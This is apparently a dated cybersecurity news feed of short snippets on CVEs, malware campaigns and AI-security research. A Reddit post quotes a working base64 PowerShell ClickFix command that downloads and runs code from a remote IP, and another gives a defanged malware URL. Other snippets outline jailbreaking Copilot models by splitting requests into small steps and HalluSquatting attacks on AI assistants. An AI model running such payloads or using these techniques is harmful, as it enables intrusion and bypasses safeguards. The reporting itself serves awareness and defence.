Sophos looked at a week of its own endpoint data and found that AI coding agents such as Claude Code, Cursor, and OpenAI Codex are setting off detection rules written to catch human intruders. The agents are not malicious. They just do a lot of things that, to a behavioral engine, look exactly like an attack. Decrypting browser credentials, listing what sits in Windows' credential store,
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AI coding assistants have a habit of making things up. Ask one to fetch a popular tool, and it will sometimes hand back a real-sounding name for a project that does not exist. New research, which its authors call HalluSquatting, turns that habit into an attack: work out the fake names an AI reliably invents, register them first, and wait for the assistant to fetch your trap on a user's
Ubiquiti has shipped updates to address multiple critical security flaws impacting UniFi Connect, UniFi Talk, UniFi Access, UniFi Protect, and UniFi OS that could result in privilege escalation and arbitrary command execution. The list of vulnerabilities is as follows - CVE-2026-50746 (CVSS score: 10.0) - An improper access control vulnerability in UniFi Connect Application that an attacker
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added four security flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerabilities are listed below - CVE-2026-48282 (CVSS score: 10.0) - A path traversal vulnerability in Adobe ColdFusion that could lead to arbitrary code execution in the context of the
Several versions of firmware released by Chinese network device manufacturer Tenda have been found to embed an undocumented authentication backdoor that enables administrative access to the devices' web management interfaces, the CERT Coordination Center (CERT/CC) warned Monday. "An attacker can exploit this vulnerability, tracked as CVE-2026-11405, to bypass the password verification process
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Wednesday, July 8
From the blog post: AI agents run reconnaissance, test exploits, and weaponize vulnerabilities at machine speed – collapsing the mean time from CVE disclosure to confirmed exploitation from 2.3 years in 2018 to roughly 10 hours in 2026, with 72.7% of exploited CVEs in 2026 hitting as zero days, up from 16.1% in 2018.
Sophos looked at a week of its own endpoint data and found that AI coding agents such as Claude Code, Cursor, and OpenAI Codex are setting off detection rules written to catch human intruders. The agents are not malicious. They just do a lot of things that, to a behavioral engine, look exactly like an attack. Decrypting browser credentials, listing what sits in Windows' credential store,
AI coding assistants have a habit of making things up. Ask one to fetch a popular tool, and it will sometimes hand back a real-sounding name for a project that does not exist. New research, which its authors call HalluSquatting, turns that habit into an attack: work out the fake names an AI reliably invents, register them first, and wait for the assistant to fetch your trap on a user's
Ubiquiti has shipped updates to address multiple critical security flaws impacting UniFi Connect, UniFi Talk, UniFi Access, UniFi Protect, and UniFi OS that could result in privilege escalation and arbitrary command execution. The list of vulnerabilities is as follows - CVE-2026-50746 (CVSS score: 10.0) - An improper access control vulnerability in UniFi Connect Application that an attacker
VU#849433: Adalo Database API Enables Cross-App User Data Extraction via Over-Fetching and Missing Authorization Controls
Overview Adalo’s no‑code application platform exposes complete user records through its database API for all applications built on both V1 and V2. Due to a platform-level flaw, authenticated users can retrieve full user data belonging to any Adalo application, regardless of configuration. This issue affects more than one million applications and placing developers and their end users at risk of data exposure that they cannot prevent or remediate. Description Adalo is a Software-as-a-Service (SaaS) provider for building no-code applications. In theory, each application or tenant (customer) is logically isolated with separate databases, users, and configurations. CVE-2026-10706 Unrestricted Disclosure of Full User Records The Adalo database API contains a flaw which allows the backend to return complete user records for every list component request, regardless of which fields the component is configured to display. The database does not enforce ownership‑aware, server‑side authorization checks, allowing authenticated users of any Adalo application to query database and table identifiers belonging to other applications and retrieve full records, including fields not requested. This issue is amplified by the permissive CORS policy, plaintext storage of all text files and evidence suggests that deleted records may remain accessible. CVE-2026-10708 Exposure and Reuse of Long-Lived JWT Tokens The JWT tokens are visible in client‑side requests and remain valid for approximately twenty days. Once copied, they can be reused from any external website or script to query the database API directly. Because the platform allows requests from any origin, attackers can repeatedly query the API and extract large volumes of user data without interacting with the applica
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite How's this for a location?! I mean, last week was nice with Scott in Mallorca, but Marrakech is, well, wow Anyway, about those data breaches... This week I'm talking about the futility of attempting to remove piss from a pool , yet here we are, with various companies wanting to place that message alongside the very data breaches they can do nothing about! As I say in the post, I don't question the good intentions behind setting up a service to try to scrub data from legally operating data brokers, but the marketing machines behind those organisations that regularly reach out to me for product placement don't really seem to grasp that reality. At least now they have a nice explainer courtesy of that post
A recent EvilTokens campaign targeting businesses across the US and Europe is exposing a new email security blind spot. This “ghost phishing” technique keeps the malicious page hidden until it decrypts and comes to life inside the victim’s browser. For security leaders, the risk is clear: traditional URL checks may miss the attack while Microsoft 365 access, sensitive data, and response time
A new banking fraudulent operation is targeting customers of Mexican banks, fintech, payment processors, and cryptocurrency exchanges using ClickFix lures. The activity cluster, tracked by Elastic Security Labs under the moniker REF6045, involves infecting victims through fake CAPTCHA verification pages that deceive them into running a malicious command that installs a PowerShell toolkit dubbed
A cybersecurity startup dangling millions of dollars to acquire zero-day security vulnerabilities in popular software is run by a pair of far-right conspiracy theorists and convicted felons whose most recent ventures included fake intelligence companies and a now-defunct AI-based lobbying platform they operated under assumed names. The X/Twitter account IRIS C2 (@C2IRIS) has gained more than 4,000 followers since its creation in January 2025, posting frequently about security vulnerabilities, AI and software exploits. IRIS C2 says it is a company in McLean, Va. that sells offensive cybersecurity capabilities. The IRIS C2 website dangles the possibility of million-dollar payouts for exploits to attract talent. “Our business model is this,” reads a pinned post on top of the IRIS C2 account on X. “Attract the very best vulnerability researchers and exploit developers in the world to join our company. This mostly revolves around junior engineers with raw talent/extremely high IQ. We don’t care if they have a college degree/industry experience.” The website linked in that profile — irisc2[.]com — says the company is hiring for a number of open positions, and a recent post on its LinkedIn page enthuses about an overwhelming number of appli
New research shows that a signed Git commit's hash is not the one-of-a-kind name that much of the software world assumes it to be. Given any signed commit, someone without the signing key can mint a second commit with the same files, author, and date, and a valid signature, GitHub still stamps "Verified." Everything a reviewer would check matches. The commit's hash does not. That matters
For years, account takeover (ATO) followed a predictable script. Attackers bought stolen credentials in bulk, ran them through automated tools, and waited for matches. Credential stuffing was cheap, scalable, and for defenders, relatively well understood. That era is ending. Not because attackers gave up, but because the front door finally got harder to kick in. Passkeys are now mainstream.
An AI coding assistant that refuses to answer a dangerous request in its chat box can answer it anyway if the same request is broken into small, ordinary-looking steps inside a code editor. That is the finding of a new study of GitHub Copilot by researchers Abhishek Kumar and Carsten Maple. The models they tested through Copilot, Claude from Anthropic, and Gemini from Google, refused
In April we released Mewt , our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DAML’s authorization primitives), and runs them through your existing test suite to count how many mutants survive. If you want to try it, simply install Mewt from the repository , point a mewt.toml at your project and its test command, and use mewt run . For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not. Why DAML’s coverage reports lie Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least 2019 , and our primer on finding the bugs your tests don’t catch shows how a green suite can still miss the bug that matters. DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each ch
Scammers are hijacking government websites to upload ads for “leaked” OnlyFans content. Thousands of copyright complaints from adult creators are helping people avoid malicious links.
Help Net Security put together a useful roundup of 20 newer open-source cybersecurity tools. [https://www.helpnetsecurity.com/2026/07/08/20-latest-open-source-cybersecurity-tools/](https://www.helpnetsecurity.com/2026/07/08/20-latest-open-source-cybersecurity-tools/) What stood out to me is how many of them are now built around AI security, not just traditional vuln scanning. Some interesting ones from the list: * AIMap: finds exposed Ollama, MCP, and AI inference endpoints * Agent Beacon: telemetry for AI coding agents like Claude Code, Codex CLI, Cursor, etc. * Agent Threat Rules: detection format for AI agent security threats * OWASP Agent Memory Guard: protects agent memory from poisoned or malicious instructions * Pipelock: network enforcement layer for AI agents * Praxen: checks whether an agent actually follows its declared policy * Kiji Privacy Proxy: masks PII before prompts reach external AI services * DockSec, Nika, Rustinel, Sandyaa, Vigolium, OpenHack, and others cover containers, SAST, endpoint detection, and vulnerability research I’d also add a few related AI security tools to watch, even if they are not part of the OSS roundup: * LangProtect Guardia: visibility and governance for enterprise AI usage and shadow AI * LangProtect Armor: runtime AI firewall for LLM apps, prompt injection, secrets, PII, unsafe outputs, and policy enforcement * LangProtect Vector: protection around RAG/vector data flows, retrieval leakage, and sensitive context exposure The pattern is pretty clear now: security teams are going to need controls around what AI systems can access, retrieve, remember, execute, and send out. This is starting to look less like “AI features inside security tools” and more like a separate AI security layer that teams will have to manage directly. Has anyone here tested any of these in a lab or production environment yet?
Burst water mains. Evacuated hospitals. In a closed-door simulation, insurers played out their response to a mass disruption by China’s Volt Typhoon hackers—and found a nightmare scenario.
Your client is no longer just buying your security advice. They’re auditing whether you live by it. That was a clear message from my exclusive interview with Heather MacDonald, an MSP finance specialist and owner of Counting Creators. Heather’s exactly the kind of customer MSPs should be paying attention to. She’s informed, commercially minded, and willing to challenge vendors to prove […] The post Cyber-Aware Customers Are Raising the Bar for MSPs and Other Vendors appeared first on Heimdal Security Blog .
A Chinese threat actor tracked as UAT-7810 is actively refining its bespoke malware to expand its Operational Relay Box (ORB) network by breaking into internet-facing networking devices. According to findings from Cisco Talos, UAT-7810 is an advanced persistent threat (APT) actor that's responsible for maintaining and proliferating LapDogs, an ORB network that first came to light in June 2025.
Advanced Loader Analysis: Module Stomping, CFG Bypass & COM Hijacking (Shellhost, amsi, mstscax, clbcatq)
Researchers at Nebula Security have disclosed GhostLock (CVE-2026-43499), a 15-year-old Linux kernel flaw that lets any logged-in user take full root control of a machine that has not been patched. The vulnerable code has shipped by default in essentially every mainstream distribution since 2011. The flaw needs no special permission, no unusual settings, and no network
The Investigation Bureau has cracked a case involving the Chinese Communist Party's cyber army, "Xiamen Female ○○ Information Technology Co., Ltd.," which impersonated international journalists to conduct social engineering attacks against political and academic figures in my country.
Attackers are exploiting the critical Gitea vulnerability CVE-2026-20896 to bypass authentication with a single HTTP header and access vulnerable repositories and secrets. [https://www.securityweek.com/critical-gitea-flaw-under-active-exploitation-researchers-warn/](https://www.securityweek.com/critical-gitea-flaw-under-active-exploitation-researchers-warn/)
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added four security flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerabilities are listed below - CVE-2026-48282 (CVSS score: 10.0) - A path traversal vulnerability in Adobe ColdFusion that could lead to arbitrary code execution in the context of the
Datadog Security Research has tracked multiple coordinated campaigns enumerating GitHub organizations, repositories, and users through the public GitHub API, abusing leaked access tokens, and cloning private repositories.
Tuesday, July 7
A new Android malware operation called RedWing is being rented out on Telegram as a ready-made bank-fraud service. It lets even low-skill criminals take over a victim's phone, steal their banking logins, and capture the one-time codes that protect their accounts. Zimperium's zLabs, which found the operation, says it looks like a new variant of Oblivion, a $300-a-month rent-a-malware tool
Quick disclosure before anything else: I work at DeepTempo, and one of the models in this benchmark (LogLM) is ours. So yeah, factor that in as you read. The upside is that all of it is open source and reproducible, which means you don't have to trust me on a single number here. Clone it, run it, tell me where I'm wrong. That's the whole reason it's public. I've been quietly annoyed for a while now. Every "AI in the SOC" pitch I see opens with a gorgeous demo and somehow never gets around to showing how the thing holds up on the boring, noisy telemetry a defender stares at all day. So I finally built a benchmark for exactly that (SOCBench), and I started with the least glamorous but most challenging SOC task there is: detection on raw NetFlow. Here's the part I want to be upfront about: I rigged the setup in the LLMs' favor, on purpose. \* The three frontier models got to run as full multi-turn agents. Bounded ReAct loop, read-only investigative tools, four expert personas, big context budgets, and a cost cap so they couldn't run forever. \* LogLM got none of that. It's a small encoder-only model, and all it ever saw was the raw flows. One shot, no tools, no personas. Here's the traffic, what's malicious? \* Everyone got the same 1,205 eval units (Stratosphere Labs captures), the same hidden ground truth, and it was all zero-shot. The logic was simple. If the LLMs were going to fall over, I wanted them to do so under the most flattering conditions I could create — every advantage stacked on their side, and our little encoder walking in with nothing but the flows. So what happened? \* They can tell when something's off. Verdict F1 (just "is this unit malicious or not") came in between 0.86 and 0.93 for each model's best persona. Respectable, no complaints. \* But they cannot keep their mouth shut on clean traffic. This is the one that matters, as in the real world, almost everything on the wire is benign. | Model | FP on benign inside malware | FP on fully benign | |---|---|---| | Claude Opus 4.7 | 36% | 39% | | GPT-5.4 | 53% | 43% | | Gemini 2.5 Pro | 41% | 86% | | LogLM | <1% | <2% | \* They can detect, but they can't point. Fine, it flagged a unit. Can it tell you which flows drove the call? Per-flow F1: Claude 65%, Gemini 52%, GPT 44%. LogLM sits at 99%. An alert that basically says "something in these 1,000 flows is bad, have fun" doesn't save your analyst a single minute. \* And it's not cheap. Per single-persona alert: Claude $0.150, Gemini $0.062, GPT $0.057. LogLM is under $0.0001. Feels trivial until you do the multiplication: at a million alerts a day, even the cheapest LLM is burning \\\~$57k/day before a human looks at anything. At telco scale, you're into hundreds of millions a day, on inference alone. Why this happens: these models have read basically everything ever written about how network traffic can be malicious, so their internal "is this flow suspicious?" prior sits way, way above the real base rate out in the wild. It stays hidden on a benchmark that's mostly malicious. The second you ask the model to sit quietly on clean traffic, it comes roaring out. LLMs are excellent at the stuff that reads like a story with steps: triage, enumeration, chaining an exploit, turning a paragraph into a detection rule, and writing up an incident. Flow-level detection just isn't that kind of problem. There's no narrative thread to follow; the signal is buried in the distribution across thousands of connections. That's a job for an encoder, not an agent. SOCBench is open, and I want people to poke holes in it and push it further. A benchmark for AI in security really shouldn't be one vendor's homework assignment, mine included. If you work in detection, DFIR, or hunting, I'd love a few things: datasets that look like your environment, thoughts on the scoring (especially the explainability lenses), ideas for tasks beyond detection (triage, IR, hunting, detection engineering are all next), or just someone running it and telling me where it breaks. Repo: \[github.com/DeepTempo/socbench\](http://github.com/DeepTempo/socbench) Full writeup with all the tables: \[deeptempo.ai/blogs/the-36-percent-false-positive-problem-with-llm-in-the-soc\](http://deeptempo.ai/blogs/the-36-percent-false-positive-problem-with-llm-in-the-soc) Have at it in the comments.
A Microsoft 365 device code phishing campaign has been observed leveraging collaboration-themed lures to take control of victim accounts between the last week of June 2026 and into early July, per findings from ZeroBEC. "The campaign did not depend on a fake Microsoft password page. It used a malicious collaboration-style lure to push users into the legitimate Microsoft device login experience,
I have built NinjaDBG, a full-featured Linux debugger developed from scratch using C++ and Capstone, featuring anti-detection techniques and a polished CLI. Additionally, I created nyx, an ultra-lightweight and headless C decompiler similar to Ghidra written in C++20. Any support to continue the dev
U.S. prosecutors linked an alleged Scattered Spider hacker to a break-in at a luxury jewelry retailer using a persistent Windows device ID, according to a newly unsealed federal complaint. Microsoft records tied that ID first to the account the attackers used to keep access during the May 2025 intrusion, then to online accounts prosecutors say belong to 19-year-old Peter Stokes. Stokes is
Software supply chain security was hard enough. Then AI joined the build pipeline. For five years, "software supply chain security" meant one question: what's in your code? Which open-source packages, which versions, which transitive dependencies three layers deep that nobody chose on purpose? SolarWinds, Log4Shell, and XZ Utils all taught the same lesson: the risk lives less in the code a
A suspected China-aligned threat activity cluster has been observed exploiting Roundcube webmail software belonging to physics and engineering departments of U.S. and Canadian universities as part of a new campaign. The activity involves the exploitation of now-patched, critical security flaws in the open-source email solution, such as CVE-2024-42009 (CVSS score: 9.3), to siphon credentials,
Continuing our journey through Sentinel ingestion cost reduction, this part focuses on one of the most expensive log sources: firewalls, and more specifically, network traffic events. Network traffic logs from firewalls are highly voluminous and often become the largest contributor to data ingestion costs. At the same time, they remain a valuable source of information during Incident Response or while developing Threat Detection use cases, as they provide a centralized view of network activity across the environment. T
In this second part, we demonstrate how a Cyber Resilience Act (CRA) assessment is performed in practice. Using a low-cost IP camera as an example, we show how a product is classified, how threats are modelled, how hardware and firmware are analysed, and how compliance gaps against IEC 62443-4-2 can be identified. You may want visit the Cyber Resilience Act – Part I , where we also explored the legal landscape of CRA and discuss the shifting responsibilities for digital product manufacturers, establishing that CRA compliance is a fundamental requirement for market access in the EU. From Threats to Requirements Consider a common consumer product: a budget IP camera sourced via marketplaces such as Wish or Temu. The journey toward CRA readiness begins with defining the device’s attack surface through threat modelling for example using the STRIDE methodology, which categorizes threats into Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege. Threat modelling ensures that subsequent testing focuses on realistic attack scenarios and the security controls that matter most for the product, rather than relying on a generic checklist.
Several versions of firmware released by Chinese network device manufacturer Tenda have been found to embed an undocumented authentication backdoor that enables administrative access to the devices' web management interfaces, the CERT Coordination Center (CERT/CC) warned Monday. "An attacker can exploit this vulnerability, tracked as CVE-2026-11405, to bypass the password verification process
Monday, July 6
Overview In the first installment of this series , I walked through how I leveraged large language models to assist in identifying several vulnerabilities in the FreeBSD kernel, including a stack-based buffer overflow assigned CVE-2026-3038 . This raised a natural follow-up question. Can language models effectively write exploits for memory corruption vulnerabilities? This article explores that question. I’ll detail two exploit chains I developed that achieve a full escape from a FreeBSD jail environment. The first chain pairs a stack-based buffer overflow with a stack-based information leak to defeat both stack canaries and KASLR. The second takes a different path, combining a heap-based buf
Need help mapping custom obfuscation on Minecraft Error 422 (1.5.2) — Base SRG & JOBF files provided
Overview HP Printers in the Deskjet 2800 Series running firmware version <=TBP1CN2612AR contain a missing authorization vulnerability tracked as CVE-2026-13753 . This vulnerability allows unauthenticated access to the printer's webserver API endpoints, exposing Wi-Fi credentials, management configuration details, and sensitive security data normally restricted to administrative users. Description Modern HP printers provide a web-based management interface for configuring content such as Wi-Fi Direct settings, SNMP management access, and device security options. When accessed normally through the browser interface, these pages explicitly require administrator credentials before sensitive information is displayed. This information is protected because, for example, Wi-Fi Direct controls the printer's direct wireless connectivity, and SNMP configuration settings can reveal detailed information about the device's monitoring and management controls. In affected firmware versions, the authorization requirement can be bypassed by sending direct, unauthenticated GET requests to multiple backend API endpoints. The affected endpoints return administrative configuration data without validating session state or authentication, including the Wi-Fi Direct SSID and plaintext passphrase, unique printer serial numbers and service IDs, and details about the device's administrative password state. This information is freely disclosed even though the corresponding web interface pages correctly enforce authentication, indicating an authorization flaw in the API layer. Impact A remote attacker with network access to the printer can bypass the web interface's authentication requirements and retrieve sensitive configuration data directly fr
New OST2 class: "Architecture 1901: From zero to QEMU - A Gentle introduction to emulators from the ground up!"
This free class by Antonio Nappa of Fuzz Society builds up your knowledge from learning a toy 8-bit CPU architecture all the way to understanding how QEMU can emulate that architecture. Using this knowledge you can then understand how QEMU can emulate any architecture! Based on beta testing, this class takes an average of 8h47m to complete, and a median of 7h26m.
The Office of Professional Responsibility has opened more than 100 cases over what ICE officials call “incidents of doxing and threats” against ICE employees.
Porting the functionality of dnscmd.exe into (slightly) more OPSEC safe Beacon Object Files (BOFs) so you can get domain admin rights when you manage to impersonate a user that is a member of the DnsAdmins group, or if using dnscmd.exe simply isn’t an option.
To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have better luck on the [Reverse Engineering StackExchange](http://reverseengineering.stackexchange.com/). See also /r/AskReverseEngineering.
https://preview.redd.it/xfm8scpfyjbh1.png?width=1240&format=png&auto=webp&s=cc1fc0bbeaca4dfd7aee75951f8ec61070e262bf Sharing some lessons from a challenging forensic PCAP analysis: 1. Map the C2 protocol first. Understanding how the attacker communicates tells you what to expect in every packet. 2. Encryption keys aren't always what they look like. A hex string can be interpreted multiple ways — raw bytes, UTF‑8 encoding, even UTF‑16. If your decrypted output is garbage, ask yourself whether you're using the right form of the key. 3. Responses matter as much as requests. In encrypted C2 channels, the server sends back just as much intel as the attacker sends up. 4. Gzip inside base64 inside C# inside AES. It sounds absurd, but nesting is a real obfuscation pattern. 5. Check file‑creation side effects. Sometimes the payload writes a file you can use as a decryption key elsewhere. If you're getting into forensics CTFs, grab a PCAP with at least 4k packets and try to reconstruct the full timeline — it's a different beast from Jeopardy‑style challenges.
This post continues and concludes our series on Agent ID, by outlining steps that an administrator or security team can take to secure blueprints and agent identities created in their local Entra ID tenant.
Sunday, July 5
Saturday, July 4
Plus: Alleged Scattered Spider hacking member extradited, dozens of license plate reader errors, and Indian officials are concerned about WhatsApp’s username rollout.
https://be nrankwhence.com/preland/av/mc-af/6/index.html? Space added to make the link invalid. 0/10, don't recommend navigating to that website.
Our latest McAfee Labs research exposes a browser extension campaign that poses as a harmless note-taking tool while silently hijacking crypto transactions. The malware tampers with Chrome/Edge/Brave’s trust mechanisms to install without consent, resolves its command-and-control server via a blockchain smart contract (EtherHiding) to evade takedown, and swaps copied wallet addresses with attacker-controlled ones across BTC, ETH, XRP, BCH, and DASH — turning a routine copy-paste into an irreversible loss. Full technical breakdown and IOCs inside
Friday, July 3
[they are getting smarter](https://preview.redd.it/d40lwwsmv1bh1.png?width=1407&format=png&auto=webp&s=deb513ded2423277ed3a8437e1d3763dc138d62c) this is what the script copied to my clipboard. funny that this website was opened for the first time, yet chrome gave it clipboard permission. lol iex(\[Text.Encoding\]::ASCII.GetString(\[Convert\]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgJ2h0dHA6Ly8xNjYuMS44OS45MS9fLycgLVVzZUJhc2ljUGFyc2luZyB8IEludm9rZS1FeHByZXNzaW9u')))
Most breaches don’t start with a vulnerability nobody knew about. They start with one nobody patched in time. Vulnerability exploitation is now the single biggest way attackers get into a network. It has overtaken stolen credentials for the first time in the 19-year history of Verizon’s Data Breach Investigations Report, with 31% of breaches now […] The post How to scale your patches without scaling your team (the patch wave) appeared first on Heimdal Security Blog .
Claude Mythos, an AI model from Anthropic, has found 23,019 software vulnerabilities in the past month. Fewer than 1% of them have been patched. That gap is the story. Finding a vulnerability used to be the hard part, the thing that limited how fast software got fixed. AI just closed that gap to almost nothing. […] The post AI didn’t break patching. It showed us patching was already broken. appeared first on Heimdal Security Blog .
I have turned on my mac in the morning and got this message? Facts or Cap? https://preview.redd.it/kb4sv0aewyah1.png?width=1156&format=png&auto=webp&s=c1db885a6f856d112f9bb3918583af5c51a4a64a
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite I can't recall if someone else originally came up with this saying or if I said it in some off-the-cuff comment and it just propagated, but since it's often attributed back to me , I'll relay it here regardless: Trying to delete yourself from the internet is like trying to take piss out of a swimming pool Depending on the publication, I'll tailor the saying to be either more broadly palatable or more, uh, "Australian", but the sentiment doesn't change: once data spreads on the internet, you can never put a lid on it. This is important in the context of data breaches because it speaks to the immutability of our exposed personal information. It also speaks to the limited practicality of services that promise to erase your data from the internet, and it's the constant outreach from these organisations looking for marketing opportunities on Have I Been Pwned (HIBP) that's prompted me to write this. Let's begin with those services, and because there are so many and I don't want to throw any of them under the bus, I won't name names. I also won't name them because whilst they're rather assertive in their marketing outreach, I do believe they're well-intentioned and I don't want to imply otherwise. And they have a role to play; it's ju
“It is a direct attack on the rule of law,” says one European Parliament member of the new findings from Citizen Lab.
Thursday, July 2
The Federal Bureau of Investigation (FBI) said today it worked with industry partners to seize hundreds of domains associated with NetNut , a sprawling residential proxy service operated by the publicly-traded Israeli company Alarum Technologies [NASDAQ: ALAR]. The action comes roughly two weeks after KrebsOnSecurity published findings from multiple security firms connecting NetNut to the Popa botnet, a collection of at least two million devices that have been compromised by malicious software with little or no consent from victims. The NetNut homepage today was replaced by this seizure banner from the FBI. On June 19, three different security firms issued similar findings : That NetNut is a residential proxy network which populates a botnet called Popa, and distributes software for devices commonly found in homes, such as smart TVs and streaming boxes. NetNut’s software turns those systems into always-on residential proxy nodes that are rented to others, who predominantly use them to relay abusive and intrusive Internet traffic, such as mass content scraping, advertising fraud, and account takeover ac
How we built a procedural engine that learns your real cloud environment, generates decoy environments indistinguishable from production, and converts every attacker interaction into signal. In the myth, Daedalus built the Labyrinth of Knossos so well that he nearly couldn’t escape it himself. The corridors looked real. The paths felt purposeful. And the deeper you went, the harder it became to tell which direction led out. That’s the design constraint we gave ourselves when building Knossos for Praetorian Guard: generate cloud infrastructure so realistic that an attacker who lands inside it doesn’t realize they’ve already lost. Every API call they make, every role they assume, every secret they pull from Parameter Store, all of it is being recorded, scored, and fed back into the system that built the trap. The idea isn’t new. Honeypots have existed for decades. But the gap between a traditional honeypot and what a competent attacker expects to find in a real AWS account is enormous. Drop a single canary token in an otherwise empty VPC and you’ve told the attacker two things: you’re running deception, and there’s nothing interesting here. They pivot, and you’ve burned your one shot. Knossos takes a fundamentally different approach. Rather than scattering individual lures and hoping someone trips
VU#639124: Multiple local privilege escalation vulnerabilities in Little Orbits GameFirst Anti-Cheat
Overview The GamersFirst Anti-Cheat (GFAC) driver GFAC.sys contains multiple local privilege escalations and denial-of-service vulnerabilities stemming from insecure handling of user-controlled input through a minifilter communication port. A local attacker can abuse these flaws to perform arbitrary kernel memory writes, obtain privilege escalation to SYSTEM, or trigger a system crash. Description GFAC is a proprietary anti-cheat software developed by video game publisher Little Orbit. GFAC includes a kernel-mode driver, GFAC_Sys_x64.sys , that exposes privileged functionality to user-mode applications through a minifilter communication port. Although these low-level interfaces are necessary for the software's operation, vulnerabilities can arise if user-mode access is not properly restricted and validated. CVE-2026-12166 GFAC_Sys_x64.sys contains a NULL pointer dereference condition in its initialization and request handling logic. A local attacker can trigger the vulnerable code path, causing the driver to read or write to a memory address assigned as NULL. Successful exploitation results in a system crash (“blue screen of death”). CVE-2026-12167 The minifilter communication port that GFAC_Sys_x64.sys exposes does not enforce sufficiently restrictive security descriptors. As a result, low-privileged users can establish connections to the driver and access functions intended only for trusted processes. [RM1.1][MB1.2][RM1.3]User access to privileged functions could help an attacker take advantage of other weaknesses in the driver. CVE-2026-12168 GFAC_Sys_x64.sys processes messages received through a minifilter communication
We’re running Patch the Planet , an ongoing collaboration with OpenAI that pairs Trail of Bits engineers directly with more than 30 open-source projects. Its goal is to front-run a serious problem facing open-source maintainers: highly capable models like GPT-5.5-Cyber will soon create a firehose of bug reports, and OSS maintainers are already spread thin. Our plan is to point OpenAI’s latest models at real codebases, find the security bugs first, work with maintainers to patch them, and find ways to decrease the burden on maintainers in the long run. We’ll publish field reports like this one as the initiative progresses; follow along via the Patch the Planet tag. The expertise barrier that kept bespoke fuzzing campaigns out of reach for most attackers is gone. We watched GPT-5.5-Cyber build in a single day what would have taken weeks for a skilled security researcher : harnesses across a dozen entrypoints, sanitizer and variant builds, seeds, and multiple findings currently undergoing coordinated disclosure. This particular instance focused on zlib , a widely used data format and lossless data compression software library. We pointed GPT-5.5-Cyber at the library and drove it through Codex with the /goal command, asking it to find a specific class of bugs that are critically dangerous in compression libraries. We’ll publish the full harness and findings for inspection once the vulnerabilities are patched and a new release is cut. The lab GPT-5.5-Cyber built in a day We didn’t tell the model how to find these bugs. The obvious first move is to read the source code, but zlib